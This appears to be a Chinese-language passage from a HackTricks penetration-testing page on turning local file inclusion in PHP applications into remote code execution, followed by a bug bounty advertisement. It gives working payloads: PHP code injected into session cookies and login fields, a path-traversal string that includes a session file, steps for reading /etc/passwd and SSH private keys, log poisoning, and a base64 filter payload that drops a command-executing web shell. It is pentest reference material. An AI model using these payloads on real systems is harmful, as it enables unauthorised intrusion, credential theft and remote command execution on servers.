user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将cookie设置为<?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用LFI本地文件包含来包含PHP会话文件

LFI本地文件包含是一种攻击技术可以利用Web应用程序中的漏洞来包含本地文件。通过利用此漏洞攻击者可以包含敏感文件如PHP会话文件。

要利用LFI来包含PHP会话文件可以使用以下步骤

  1. 确定目标网站是否存在LFI漏洞。可以通过尝试访问包含敏感文件的URL来测试。例如尝试访问http://example.com/index.php?page=/etc/passwd如果返回了包含敏感文件内容的响应则表示存在LFI漏洞。

  2. 确定PHP会话文件的位置。默认情况下PHP会话文件存储在服务器的临时目录中通常是/tmp/var/tmp。可以通过查看PHP配置文件php.ini)或使用命令phpinfo()来获取该信息。

  3. 构造LFI攻击的Payload。在URL中使用LFI漏洞时可以通过将目标文件路径作为参数传递给受影响的页面来实现文件包含。例如使用http://example.com/index.php?page=/var/tmp/sess_123456来包含PHP会话文件。

  4. 利用LFI漏洞来包含PHP会话文件。将构造的Payload插入到受影响的页面中以触发LFI漏洞并包含PHP会话文件。这样攻击者就可以获取PHP会话文件中存储的敏感信息。

请注意利用LFI漏洞进行攻击是非法的并且仅在授权的渗透测试活动中使用。

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过ssh

如果ssh处于活动状态请检查正在使用的用户/proc/self/status和/etc/passwd并尝试访问**<HOME>/.ssh/id_rsa**

通过vsftpd日志

这个FTP服务器的日志存储在**/var/log/vsftpd.log**中。如果你有一个LFI并且可以访问一个暴露的vsftpd服务器你可以尝试使用PHP负载设置用户名登录然后使用LFI访问日志。

通过php base64过滤器使用base64

这篇文章所示PHP base64过滤器只会忽略非base64字符。你可以利用这一点绕过文件扩展名检查如果你提供以".php"结尾的base64它会忽略"."并将"php"附加到base64后面。以下是一个示例负载

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

通过php过滤器无需文件

这个writeup解释了你可以使用php过滤器生成任意内容作为输出。这基本上意味着你可以生成任意的php代码来包含,而无需将其写入文件中。

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

通过分段错误

上传一个将被存储为临时文件/tmp中,然后在同一个请求中,触发一个分段错误,然后临时文件不会被删除,你可以搜索它。

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

通过Nginx临时文件存储

如果你发现了一个本地文件包含漏洞,并且Nginx在PHP之前运行你可能可以使用以下技术获得RCE

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

通过PHP_SESSION_UPLOAD_PROGRESS

如果你发现了一个本地文件包含漏洞,即使你没有一个会话,并且session.auto_startOff。如果你在多部分POST数据中提供了**PHP_SESSION_UPLOAD_PROGRESSPHP将为你启用会话**。你可以滥用这个来获得RCE

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

通过Windows临时文件上传

如果你发现了一个本地文件包含漏洞,并且服务器在Windows上运行你可能会获得RCE

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

通过phpinfo()file_uploads = on

如果你发现了一个本地文件包含漏洞,并且一个文件暴露了phpinfo()并且file_uploads = on你可以获得RCE

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

通过compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露

如果你发现了一个本地文件包含漏洞,并且你可以泄露临时文件的路径,但是服务器正在检查要包含的文件是否有PHP标记你可以尝试使用这个竞争条件绕过该检查

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

通过永久等待 + 暴力破解

如果你可以滥用LFI来上传临时文件并使服务器挂起PHP执行然后你可以在几个小时内暴力破解文件名以找到临时文件:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

致命错误

如果你包含了文件/usr/bin/phar/usr/bin/phar7/usr/bin/phar.phar7/usr/bin/phar.phar。(你需要两次包含相同的文件来引发该错误)。

我不知道这有什么用,但可能有用。
即使引发了PHP致命错误上传的PHP临时文件也会被删除。

参考资料

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网掌握正在崛起的web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥